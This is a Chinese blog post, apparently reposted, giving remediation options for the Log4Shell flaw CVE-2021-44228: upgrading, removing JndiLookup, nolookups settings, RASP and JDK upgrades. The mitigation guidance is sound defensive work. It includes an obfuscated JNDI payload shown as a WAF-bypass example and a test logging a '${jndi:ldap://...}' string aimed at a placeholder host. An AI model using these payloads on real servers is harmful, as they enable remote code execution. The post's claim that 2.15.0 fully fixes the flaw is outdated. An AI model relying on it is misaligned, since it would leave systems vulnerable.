Log4j 严重漏洞修最新修复方案参考
作者：互联网
CVE-2021-44228，原理上是 log4j-core 代码中的 JNDI 注入漏洞。这个漏洞可以直接导致服务器被入侵，而且由于“日志”场景的特性，攻击数据可以多层传导，甚至可以威胁到纯内网的服务器。log4j 作为 Java 开发的基础公共日志类，使用范围非常广，漏洞必定影响深远，想想当年commons-collections反序列化漏洞的影响范围。
Github漏洞公告：
https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
影响 < 2.15.0 的所有 2.x 版本。也就是说，除了最新版本之外的所有版本都受影响。
最直接、有效、稳定的修复方式是：将 log4j-core 升级到 2.15.0 版本
最直接、有效、稳定的修复方式是：将 log4j-core 升级到 2.15.0 版本
最直接、有效、稳定的修复方式是：将 log4j-core 升级到 2.15.0 版本
如果实在无法升级，可以尝试把漏洞类删掉。其他修复方式可以结合使用起到比较好的快速缓解作用，但受限于不同的环境，可能会产生各种各样比较麻烦的问题或者未来的隐患。长期修复方案需要保证稳定、可靠、持久有效，这种严重漏洞值得一个发布和重启。
2.15.0 版本下载地址：
https://repo.maven.apache.org/maven2/org/apache/logging/log4j/log4j-core/2.15.0/
pom.xml 配置
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
缓解方式1：接入安全产品
第一时间上WAF规则、RASP拦截等措施，给修复争取时间。
但是也要注意一些静态规则上的绕过，log4j 支持的写法比较多，有非常多绕过姿势。比如：
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
缓解方式2：删除漏洞类
通过删除漏洞类进行修复的方案比较稳，也是官方推荐的一种修复方案。直接删除 log4j jar 包中存在漏洞的类：
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
这种修复比较方便快捷，一般业务代码也不会用到 jndi lookup 这个功能。不过可能会对基于版本号判定的安全数据采集造成一定困扰，无法准确统计漏洞的最新受影响情况。建议删除之后在 jar 包后面加上一定的标记，如： log4j-2.14.1.sec.jar
另外，由于某些原因不想删除的话，可以自己代码替换原始的 JndiLookup 类，将它加到业务代码中。需要注意的是，必须保证它在 log4j 原类之前加载。
package org.apache.logging.log4j.core.lookup;
public class JndiLookup {
public JndiLookup() {
throw new NoClassDefFoundError("JNDI lookup is disabled");
}
}
也可以做成依赖包，在 log4j-core 之前添加，可以实现同样的效果（注意不要引入不可信的第三方依赖，可能导致潜在安全风险，以下配置来源互联网，仅作为示例，请勿直接使用）：
<dependency>
<groupId>org.glavo</groupId>
<artifactId>log4j-patch</artifactId>
<version>1.0</version>
</dependency>
当然也可以通过RASP的方式干掉漏洞类，Github上有不少RASP的无损修复方案，比如：
https://github.com/chaitin/log4j2-vaccine
https://github.com/boundaryx/cloudrasp-log4j2
缓解方式3：通过配置禁用 log4j 的 lookup 功能
禁用的方式就比较多了。然而下面2、3、4这几种方式对低于 2.10 版本的 log4j-core 都没有效果，而且环境变量和启动参数这种设置，在迁移或者变更的过程中丢失的可能性比较大。log4j 在 2.15.0 版本中默认就已经关闭了 lookup 功能。
log4j2.component.properties、log4j2.xml 默认放在 ClassPath 路径下，如：源代码的资源目录或者可执行程序所在的当前目录。
1. 设置日志输出 Pattern 格式
对于 >=2.7 的版本，在 log4j 中对每一个日志输出格式进行修改。在 %msg 占位符后面添加 {nolookups}，这种方式的适用范围比其他三种配置更广。比如在 log4j2.xml 中配置：
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
public class Test {
public static void main(String[] args) {
String t = "${jndi:ldap://xxx.com/xxx}";
Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);
logger.error(t);
}
}
2. 设置JVM系统属性
在 Java 应用启动参数中增加
-Dlog4j2.formatMsgNoLookups=true，或者在业务代码中设置系统属性：
// 必须在 log4j 实例化之前设置该系统属性
System.setProperty("log4j2.formatMsgNoLookups", "true");
Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);
3. 修改配置文件
在配置文件
log4j2.component.properties 中增加：log4j2.formatMsgNoLookups=true，配置文件放置于应用程序的 ClassPath 路径下。
4. 设置进程环境变量
在环境变量中增加：
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
注意！这些配置和属性，并不能在所有场景下生效，比如在 logstash 中就无法生效： Solutions and Mitigations: The widespread flag
-Dlog4j2.formatMsgNoLookups=true does NOT mitigate the vulnerability in Logstash, as Logstash uses Log4j in a way where the flag has no effect. It is therefore necessary to remove the JndiLookup class from the log4j2 core jar, with the following command:zip -q -d /logstash-core/lib/jars/log4j-core-2.* org/apache/logging/log4j/core/lookup/JndiLookup.class
Refer: https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476
缓解方式4：升级JDK版本
对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说，默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载。对于 RCE 来说，可以起到很直接的缓解作用，可以作为增强型的加固方案。
在高版本JDK环境下，JNDI注入也还是存在一定RCE风险，可以参考这篇文章：
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
另外 log4j 漏洞本身除了 RCE，还存在着巨大的攻击面，比如 SSRF、敏感信息泄露等等，威胁非常大，不要企图仅仅通过升级JDK版本来修复漏洞，建议还是老老实实升级。
标签：core,修复,Log4j,漏洞,版本,2.15,log4j2,log4j 来源： https://blog.csdn.net/Javaesandyou/article/details/122071474